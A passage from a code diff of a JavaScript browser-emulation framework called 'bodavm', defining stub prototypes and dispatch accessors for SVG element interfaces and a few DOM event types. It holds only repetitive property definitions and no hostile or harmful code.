"SVGElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_set", arguments); + } +}, 'prototype'); +// DeviceOrientationEvent对象 + +bodavm.memory.globalobj['DeviceOrientationEvent'] = function DeviceOrientationEvent() { + console.log_copy('DeviceOrientationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceOrientationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceOrientationEvent'], "DeviceOrientationEvent"); +bodavm.memory.globalobj['DeviceOrientationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['DeviceOrientationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "alpha", { + configurable: true, + enumerable: true, + get: function alpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "alpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "beta", { + configurable: true, + enumerable: true, + get: function beta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "beta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "gamma", { + configurable: true, + enumerable: true, + get: function gamma() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "gamma_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "absolute", { + configurable: true, + enumerable: true, + get: function absolute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "absolute_get", arguments); + }, + set: undefined +}, 'prototype'); +// PresentationConnectionCloseEvent对象 + +bodavm.memory.globalobj['PresentationConnectionCloseEvent'] = function PresentationConnectionCloseEvent() { + console.log_copy('PresentationConnectionCloseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionCloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionCloseEvent'], "PresentationConnectionCloseEvent"); +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGGraphicsElement对象 + +bodavm.memory.globalobj['SVGGraphicsElement'] = function SVGGraphicsElement() { + console.log_copy('SVGGraphicsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGraphicsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGraphicsElement'], "SVGGraphicsElement"); +bodavm.memory.globalobj['SVGGraphicsElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGGraphicsElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "nearestViewportElement", { + configurable: true, + enumerable: true, + get: function nearestViewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "nearestViewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "farthestViewportElement", { + configurable: true, + enumerable: true, + get: function farthestViewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "farthestViewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getBBox", { + configurable: true, + enumerable: true, + writable: true, + value: function getBBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getBBox", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getCTM", { + configurable: true, + enumerable: true, + writable: true, + value: function getCTM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getCTM", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getScreenCTM", { + configurable: true, + enumerable: true, + writable: true, + value: function getScreenCTM() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getScreenCTM", arguments); + } +}, 'prototype'); +// SVGGElement对象 + +bodavm.memory.globalobj['SVGGElement'] = function SVGGElement() { + console.log_copy('SVGGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGElement'], "SVGGElement"); +bodavm.memory.globalobj['SVGGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGPatternElement对象 + +bodavm.memory.globalobj['SVGPatternElement'] = function SVGPatternElement() { + console.log_copy('SVGPatternElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPatternElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPatternElement'], "SVGPatternElement"); +bodavm.memory.globalobj['SVGPatternElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGPatternElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternUnits", { + configurable: true, + enumerable: true, + get: function patternUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternContentUnits", { + configurable: true, + enumerable: true, + get: function patternContentUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternContentUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternTransform", { + configurable: true, + enumerable: true, + get: function patternTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternTransform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGGeometryElement对象 + +bodavm.memory.globalobj['SVGGeometryElement'] = function SVGGeometryElement() { + console.log_copy('SVGGeometryElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGeometryElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGeometryElement'], "SVGGeometryElement"); +bodavm.memory.globalobj['SVGGeometryElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGGeometryElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "pathLength", { + configurable: true, + enumerable: true, + get: function pathLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "pathLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getPointAtLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getPointAtLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getPointAtLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "getTotalLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getTotalLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "getTotalLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInFill", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInFill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInFill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInStroke", arguments); + } +}, 'prototype'); +// SVGPathElement对象 + +bodavm.memory.globalobj['SVGPathElement'] = function SVGPathElement() { + console.log_copy('SVGPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPathElement'], "SVGPathElement"); +bodavm.memory.globalobj['SVGPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPathElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +// SVGSVGElement对象 + +bodavm.memory.globalobj['SVGSVGElement'] = function SVGSVGElement() { + console.log_copy('SVGSVGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSVGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSVGElement'], "SVGSVGElement"); +bodavm.memory.globalobj['SVGSVGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGSVGElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentScale", { + configurable: true, + enumerable: true, + get: function currentScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_get", arguments); + }, + set: function currentScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentTranslate", { + configurable: true, + enumerable: true, + get: function currentTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentTranslate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "zoomAndPan", { + configurable: true, + enumerable: true, + get: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_get", arguments); + }, + set: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "animationsPaused", { + configurable: true, + enumerable: true, + writable: true, + value: function animationsPaused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "animationsPaused", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkEnclosure", { + configurable: true, + enumerable: true, + writable: true, + value: function checkEnclosure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkEnclosure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkIntersection", { + configurable: true, + enumerable: true, + writable: 